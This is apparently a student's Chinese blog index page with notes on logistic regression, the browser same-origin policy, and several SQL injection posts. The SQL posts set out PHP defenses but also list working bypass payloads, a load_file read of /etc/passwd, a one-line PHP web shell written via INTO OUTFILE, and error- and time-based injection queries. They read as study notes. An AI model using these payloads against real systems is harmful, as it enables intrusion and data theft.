Fork me on GitHub
Alisita's blogs

一只准备考研的苦逼学生


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 日程表

  • 站点地图

  • 公益404

logistic回归

发表于 2018-01-08

二分分类

假如有一张图片需要识别是否是猫作为输入,如果是猫,输出1,否则,输出0
图片在计算机中保存,要分为三个矩阵,分别对应红绿蓝三个颜色通道,
为了方便,这里用5X4的演示

把这些亮度值,放入一个特征向量(feature vector)x中
x=[255,251,.......,255,134.....]
如果图片是64X64的,向量x的总维度
64X 64X3 = 12288
nx=12288
来表示向量x的总维度
在二分分类问题中,目的是训练出一个分类器,以图片的特征向量作为输入量,预测输出的y是0,还是1

用(x,y)来表示一个样本,训练集有m个集合组成
{(x^(1),y^(1)},(x^(2),y^(2)),.....(x^(m),y^(m))}
表示整个训练集
m_train
表示训练集
m_test
表示测试集
为了更好的表示,定义一个大矩阵X,
X=[...... x^(1)...... , .......x^(2)........ , ..... , ......x^(m)......]
这个矩阵有m列,有nx行
定义一个矩阵Y
Y=[y^(1),y^(2),.....y^(m)]
=enter description here
=enter description here

logisitic回归(logistic Regression)

已知输入向量x,例如是一张图片,判断是否是猫图,需要一个算法,得出预测值ŷ,ŷ是一个概率(当x满足条件是,y就是1)
x是一个nx维向量,参数w也是一个nx维向量,b是一个实数
ŷ = sigmoid(w^T * x + b)
sigmoid是为了将概率限制在[0,1]

logisitic回归损失函数(logistic Regression cost function)

Loss(error)function:
L(ŷ,y)=-(ylogŷ+(1-y)log(1-ŷ))
Cost function:
J(w,b) = 1/m * L(ŷ^(i),y^(i)) = -1/m * ( y^(i)logŷ^(i) + (1-y^(i)log(1-ŷ^(i)))
i = [1,m]
要让J越小越好

logistic回归中的梯度下降法

对于单个样本
假设有两个样本特征向量x1,x2,
参数w1,w2,b
z = w1x1 + w2x2 + b
ŷ = a = sigmoid(z)
L(a,y)
然后向前求导数
da = dL(a,y)/da = -(y/a)+(1-y)/(1-a)
dz = dL/dz = a-y
dw1 = x1 * dz
dw2 = x2 * dz
db = dz
然后更新w1,w2,b
w1 = w1 - αdw1
w2 = w2 - αdw2
b = b - αdb

对于m各训练样本
下面实现的是伪代码
J=0; dw1=0; dw2=0;db=0;
for i=1 to m
z^(i) = w^T*x^(i) + b
a^(i) = sigmoid(z^i)
J += -( y^(i)loga^(i) + (1-y^(i)log(1-a^(i)))
dz^(i) = a^(i) - y^(i)
dw1 += x1^(i)dz^(i)
dw2 += x2^(i)dz^(i)
db += dz^(i)
J /= m
dw1 /= m 注释 dw1 = dJ/dw1
dw2 /= m
db /= m
w1 = w1 - αdw1
w2 = w2 - αdw2
b = b - αdb

MySQL偏门技巧

发表于 2017-09-25 | 分类于 SQL Injection

group by with rollup的用法

这个主要用来绕过查询结果行数是否唯一,再验证所得密码是否相同
直接上图看的清楚一些
enter description here

绕过未知字段名的技巧

逗号用join绕过,使用联合查询
limit 1,1 —-> limit 1 offset 1
原文
原文2
真的是涨姿势

SQL注入防御与绕过的几种姿势

发表于 2017-09-19 | 分类于 SQL Injection

PHP防御的几种姿势

1.关闭错误提示

说明:
PHP配置文件php.ini中的display_errors=Off

2.魔术引号

说明:
当php.ini里的magic_quotes_gpc=On时,提交的变量中所有的单引号,双引号,反斜线,NUL(NULL字符)会自动转为含有反斜线的转义字符
魔术引号(Magic Quote)是一个自动将进入PHP脚本的数据进行转义的过程。(对所有的GET,POST,Cookie数据进行转义)
PHP 5.4 之前PHP指令magic_quotes_gpc默认是on
在PHP5.4.0起magic_quotes_gpc将始终返回FALSE

3.addslashes

addslashes函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)
这个函数的作用和magic_quotes_gpc一样。所以一般用addslashes前会检查是否开了magic_quotes_gpc

magic_quotes_gpc与addslashes的区别用法:

1)对于magic_quotes_gpc=on的情况
我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示
如果此时你对输入的数据作了addslashes()处理,那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠
2)对于magic_quotes_gpc=off 的情况
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行

mysql_real_escape_string

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false
因为完全性问题,建议使用拥有Prepared Statement机制的PDO和MYSQLi来代替mysql_query,使用的是mysqli_real_escape_string

htmlspecialchars()

htmlspecialchars()函数把预定义的字符转换为 HTML实体
预定义的字符是:
`& -> &
“ -> "
‘ -> '
< -> <

-> >`

用正则匹配替换来过滤指定的字符

preg_match preg_match_all() preg_replace

转换数据类型

根据「检查数据类型」的原则,查询之前要将输入数据转换为相应类型,如uid都应该经过intval函数格式为int型

使用预编译语句

绑定变量使用预编译语句是预防SQL注入的最佳方式,因为使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,攻击者无法改变SQL语句的结构,从根本上杜绝了SQL注入攻击的发生

几种绕过姿势

addslashes

绕过:
1.将字符串转为16进制编码数据或使用char函数(十进制)进行转化(因为数据库会自动把16进制转化)
2.用注释符去掉输入密码部分如”–/*#”

payload:
http://localhost/injection/user.php?username=admin--
注意– 后的空格
http://localhost/injection/user.php?username=admin/*
(escape不转义/* )

http://localhost/injection/user.php?username=admin%23
(这里的%23即为#,注释掉后面的密码部分。注意IE浏览器会将#转换为空)
http://localhost/injection/user.php?username=0x61646d696e23
(admin# –>0x61646d696e23)
http://localhost/injection/user.php?username=CHAR(97,100, 109, 105, 110, 35)
(admin# –>CHAR(97, 100, 109, 105, 110, 35))

关于编码原理:

因为一般前端JavaScript都会escape()、encodeURL或encodeURIComponent编码再传输给服务器,主要为encodeURL,如下,所以可以利用这点

1)escape( )
对ASCII字母、数字、标点符号”@* _ + - . /“不进行编码。在\u0000到\u00ff之间的符号被转成%xx的形式,其余符号被转成%uxxxx的形式。(注意escape()不对”+”编码,而平时表单中的空格会变成+)

2) encodeURL
对” ; / ? : @ & = + $ , # ‘ “不进行编码。编码后,它输出符号的utf-8形式,并且在每个字节前加上%。

3) encodeURIComponent
用于对URL的组成部分进行个别编码,而不用于对整个URL进行编码。
常用编码:
@ * _ + - ./ ; \ ? : @ & = + $ , # ' 空格

转码工具可用:
http://evilcos.me/lab/xssor/

匹配过滤

preg_match
绕过:
关键词 and,or 常被用做简单 测试网站是否容易进行注入攻击
过滤注入: 1 or 1 = 1 1 and 1 = 1
绕过注入: 1 || 1 = 1 1 && 1 = 1
混淆和绕过

strstr

strstr ()查找字符串的首次出现,该函数区分大小写。如果想要不区分大小写,使用stristr()。(注意后面这个函数多了个i)
绕过:
strstr()函数是对大小写敏感的,所以我们可以通过大小写变种来绕过
payload:
http://localhost/injection/user.php?id=1uNion select null,null,null

空格过滤

绕过:
1)使用内联注释。
2)使用换行符代替空格。注意服务器若为Windows则换行符为%0A%0D,Linux则为%0A
payload:
http://localhost/injection/user.php?id=1/**/and/**/1=1
http://localhost/injection/user.php?id=1%0A%0Dand%0A%0D1=1

空字节

通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生变成语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串

绕过:
只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可。

payload:
%00

构造故意过滤

将传入的%27和%2527都进行删除处理,也就是还没传入数据库前就已经被该死的程序吃了,但是在看到他还吃了,这样我们就有办法了,我们构造%27,这样程序吃掉星号*后,%27就会被传入

payload:
http://localhost/injection/user.php?id%3D1%*27%*20and%*20%*271%*27%3D%*271

浏览器同源策略

发表于 2017-09-16 | 分类于 XSS

原文链接

同源策略限制从一个源加载的文档或脚本如何与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制

一个源的定义

如果协议,端口(如果指定了一个)和域名对于两个页面是相同的,则两个页面具有相同的源
下面给出了相对http://store.company.com/dir/page.html 同源检测的示例

URL 结果 原因
http://store.company.com/dir2/other.html True
http://store.company.com/dir/inner/another.html True
https://store.company.com/secure.html False 不同协议(https和http)
http://store.company.ocm:81/dir/etc.html False 不同端口(81和80)
http://news.company.com/dir/other.html False 不同域名(news和store)

还有参考文件的源定义

源的继承

来自 about:blank 和 javascript:URL 的内容从加载URL的文档继承原始文档,因为URL本身不提供任何有关原点的信息。data:URLs 获得一个新的,空的安全上下文

注意: 在Gecko 6.0 之前,如果用户在位置栏中输入data URLs,data URLs将继承当前浏览器窗口中网页的安全上下文。

IE 例外
当涉及到同源策略是,Internet Explorer有主要的两个例外

  • 授信范围:两个相互之间高度互信的域名,如公司域名,不遵守同源策略的限制
  • 端口:IE未将端口号加入到同源策略的组成部分之中,因此 http://company.com:81/index.html 和 http://company.com/index.html 属于同源并且不受任何限制

源的更改

页面可能会更改自己的来源,但有一些限制。脚本可以将 document.domain 的值设置为其当前域或其当前域的超级域,如果将其设置为其当前域的超级域,则较短的域将用于后续原始检查。
例如:假设文档中的一个脚本在 http://store.company.com/dir/other.html 执行以下语句
document.domain = "company.com";
这条语句执行之后,页面将会成功地通过对 http://company.com/dir/page.html 的同源检测。同理,compan.com 不能设置 document.domain 为 othercompany.com

浏览器单独保存端口号。任何的赋值操作,包括 document.domain = document.domian都会以 null 值覆盖掉原来的端口号,因此 company.com:8080 页面的脚本不能仅通过设置 document.domain = "company.com" 就是与 company.com 通信。赋值是必须带上端口号,以确保端口号不会为 null

注意: 使用document.domain允许子域安全访问其父域时,需要设置 document.domain 在父域和子域中具有相同的值,虽然这样做只是将父域设置回其原始值,不做的话可能会导致权限错误

跨源网络访问

同源策略控制了不同源之间的交互,例如在使用XMLHTTPRequest或标签时则会收到同源策略的约束,交互通常分为三类:

  • 通常允许进行跨域操作(Cross-orgin writers) 例如:链接(links),重定向以及表单提交,特定少数的HTTP请求需要添加preflight
  • 通常允许跨域资源嵌入(Cross-orgin embedding)
  • 通常不允许跨域读操作(Cross-orgin reads)。但常可以通过内嵌资源来巧妙的进行读取访问 例如可以读取图片的高度和宽度,调用内嵌脚本的方法

下面是可能嵌入跨源的资源的一些示例:

  • <script src="..."></script>标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到
  • <link rel="stylesheet" href="...">标签嵌入css,由于css的,css的跨域需要一个设置正确的Content-Type消息头,不同浏览器有不同的限制
  • <img>嵌入图片。支持的图片格式包括PNG,JPEG,GIF,BMP,SVG
  • <video>和<audio>嵌入多媒体资源
  • <object>,<embed>和<applet>的插件
  • @font-face引入的字体,一些浏览器允许跨域字体(cross-origin fonts),一些需要同源字体(same-origin fonts)
  • <frame>和<iframe>载入的任何资源,站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互

如何允许跨域访问

使用CORS允许跨源访问

如何阻止跨源访问

  • 阻止跨域写操作,只要检测请求中的一个不可测的标记(CSRF token)即可,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。必须使用这个标记来阻止页面的跨站读操作
  • 阻止资源的跨站读取,需要保证该资源是不可嵌入的。阻止嵌入行为是必须的,因为嵌入资源通常向其暴露信息
  • 阻止跨站嵌入,确保你得资源不能是以上列出的可嵌入资源格式。多数情况下浏览器都不会遵守Conten-Type消息头。例如,如果你在<script> 标签中嵌入HTML文档,浏览器仍将HTML解析为Javascrip

跨源脚本API访问

Javascript的APIs中,如 iframe.contentWindow,window.parent, window.open 和 window.opener 允许文档间直接相互引用。当两个文档的源不同时,这些引用方式将对 Window 和 Location对象的访问添加限制。可以使用window.postMessage 作为替代方案,提供跨域文档间的通讯

窗口:

允许一下对窗口属性的跨源访问
Methods:
window.blur
window.close
window.focus
window.postMessage

Attributes
window.closed 只读
window.frames 只读
window.length 只读
window.location 读/写
window.opener 只读
window.parent 只读
window.self 只读
window.top 只读
window.window 只读

某些浏览器允许访问比规范允许的更多属性

位置

允许一下对位置属性的跨源访问:
Methods
location.replace

Attributes
URLUtils.href

某些浏览器允许访问比规范允许的更多属性

跨源数据存储访问

存储在浏览器中的数据,如localStorage和IndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。

window.name属性可以用来临时存储数据,可以跨域访问

Cookies使用不同的源定义方式。一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。Firefox和Chrome使用Public Suffix List决定一个域是否是一个公共后缀(public suffix)。不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名(sub-domains)来访问cookie。设置cookie时,你可以使用Domain,Path,Secure,和Http-Only标记来限定其访问性。读取cookie时,不会知晓它的出处。尽管使用安全的https连接,任何可见的cookie都是使用不安全的连接设置的

基本MySQL注入攻击

发表于 2017-09-13 | 分类于 SQL Injection

注入常用函数与字符

控制语句操作(select,case,if(),…) case用法
比较操作(=,like,mod(),…)
字符串的猜解操作(mid(),left(),rpad(),…)
字符串生成操作(0x61,hex(),conv()(使用conv[10-36],10,36)可以实现所有字符的表示))

注释符

下面的是MySQL中可以用到的注释符:

#,/,–,;%00,–+,反引号(只能在语句尾使用,MySQL中的注释符)
examples:
`SELECT
FROM Users WHERE username = ‘’ OR 1=1 – -‘ AND password = ‘’;
SELECT * FROM Users WHERE id = ‘’ UNION SELECT 1, 2, 3`’;

其他的常规的就不写了。。。

文件操作权限

在MySQL中,存在一个称为secure_file_priv的全局变量,该变量用于限制数据的导入和导出操作,例如:select ... into outfile语句和LOAD_FILE()
如果secure_file_priv变量为空那么直接可以使用函数,如果为NULL是不能使用
本来应该默认为NULL的,但是不知道为什么我的wamp里的默认为空。。。

读文件

读文件LOAD_FILE()
Examples:
select load_file('/etc/passwd');
select load_file(0x272f6574632f70617373776427);
注意点:
load_file的默认目录是@@datadir
文件必须是当前用户可读
读文件最大的为1047552个byte,@@max_allowed_packet可以查看文件读取最大值

写文件

INTO OUTFILE/DUMPFILE
经典写文件例子:
select '<? system($_GET[\'c\']); ?> INTO OUTFILE '/var/www/shell.php';
INTO OUTFILE 写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE 写文件时会保证原生内容,这种适用于二进制文件
有一个文章讲,写文件讲解
注意点:
INTO OUTFILE不会覆盖文件
INTO OUTFILE必须是查询语句的最后一句
路径名是不能编码的,必须使用单引号

带外通道

带外通道攻击主要是利用其它协议或者渠道从服务器提取数据,它可能是HTTP(s)请求,DNS解析服务,SMB服务,Mail服务等

条件限制

这些函数是要绝对路径的
如果securre_file_priv变量为空那么可以直接使用函数,如果为NULL是不能使用

DNS注入

这个没搞明白,先搁起来

SMB Relay 注入攻击

解释一下SMB Relay
假设有主机B与A
1.A向B发起连接请求
2.B向A发送挑战(一组随机数据,8字节)
3.A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
4.

MySQL 一些注入技巧

发表于 2017-09-07 | 分类于 SQL Injection

总结一下mysql中用的到的技巧


常量:true,false,null,\N,current_timestamp变量:@myvar:=1

系统变量:@@version,@@datadir…..

常用函数:version(),pi()(圆周率),pow(x,y)(返回X的Y次方,char(),substring()

字符串生成:hex(),conv()(数字进制转换)

有关于字符串生成的:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6….


过滤的绕过

空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释

and,or:||,&&

union select:
利用括号,’and(true)like(false)union(select(pass)from(users)),
方括号union [all|distinct] select pass from users#, union%a0select pass from users,
或者内联注释union/&sort=/select pass from users#

union:子查询进行盲注and length((select pass from users having substr(pass,1,1)=’a’))

having:and(select substr(group_concat(pass),1,1)from users)=’a

select … from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):
select [all|distinct] pass from users selecttable_namefrominformation_schema . tables
select pass as alias from users select pass aliasalias from users
select passalias aliasfrom users select+pass%a0from(users)

select,and,&: 这里就是可以利用上一篇文章中提到的false注入的方式进行绕过,具体见上文

不使用逗号:’ and substr(data from 1 for 1) = ‘a’#

不同情境的注入技巧

like

有时候可以利用一些逻辑语句进行注入
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)

Limit

limit后面可以跟两个函数,PROCEDURE 和 INTO(需要写权限)
利用PROCEDURE 有两种方式,基于报错和时间,参考文章MySQL下Limit注入方法
5.6以上好像不行了QAQ。。。。。
基于报错
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

基于时间
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by

order by 后面的数字也可以作为一个注入点,参考文章MySQL Order By 注入总结
这里就不多写了

一些函数

不常用函数绕过滤

lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'

搜索匹配类的函数

'-if(locate('f',data),1,0)#'
'-if(locate('fo',data)1,0)#'
'-if(locate('foo',data),1,0)#'
instr()
position()

使用函数进行字符串切割

length(trim(leading 'a' from data))
length(replace(data,'a',''))

关于PHP中md5的一个姿势

例如,PHP中有这么一段SQL语句
$sql = "select * from admin where pass = '".md5($password,true)."'";
这里是可以注入的,关于PHP中md5函数
如果可选的raw_output被设置为TRUE,那么md5报文摘要将以16字节长度的原始二进制返回
就是说找到一个字符串md5的二进制和字符编码中的某些编码对上,就会产生注入,这里贴出一个原文作者找到的字符串,ffifdyop,md5加密后对应的字符串是 'or'<trash>
原文

MySQL False 注入姿势学习

发表于 2017-09-06 | 分类于 SQL Injection

原文链接

0x01 False Injection

首先是看了文章之后知道了一个MySQL的特性
select * from user where username=0;
enter description here

这条语句指向之后会返回所有值

select * from users where password=0;
enter description here

这里涉及到了MySQL的隐式类型转换

官方文档是这样写的:
The following rules describe how conversion occurs for comparison operations:

If one or both arguments are NULL, the result of the comparison is NULL, except for the NULL-safe <=> equality comparison operator. For NULL <=> NULL, the result is true. No conversion is needed.

If both arguments in a comparison operation are strings, they are compared as strings.

If both arguments are integers, they are compared as integers.

Hexadecimal values are treated as binary strings if not compared to a number.

If one of the arguments is a TIMESTAMP or DATETIME column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments to IN()! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when using BETWEEN with date or time values, use CAST() to explicitly convert the values to the desired data type.

If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.

In all other cases, the arguments are compared as floating-point (real) numbers


大概意思就是:
如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换

两个参数都是字符串,按照字符串比较。不做类型转换

两个参数都是整数,按照整数比较。不做类型转换

如果不与数字进行比较,则将十六进制值视为二进制字符串。

有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳

有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较

所有其他情况下,两个参数都会被转换为浮点数再进行比较

最重要的是下面这句话,这是利用点:
字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败

那么,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串的开头是数字的时候会从数字部分截断,转换为数字,所以上面为什么会返回所有值就可以理解了。

利用

where username=''+'';
where username=''-'';
where username=''*'';
where username=''/6;
where username=''%1;
where username=''&0;
where username=''|0;
where username=''^0;

移位操作

<<0# '>>0

比较运算符

where username=''=0<=>1;
where username=''=0<>0;
where username=''>-1;

其他

'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1

new article

发表于 2017-09-05

Test

发表于 2017-09-05

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

yuanbo

yuanbo

9 日志
2 分类
3 标签
RSS
GitHub CSDN 简书
© 2018 yuanbo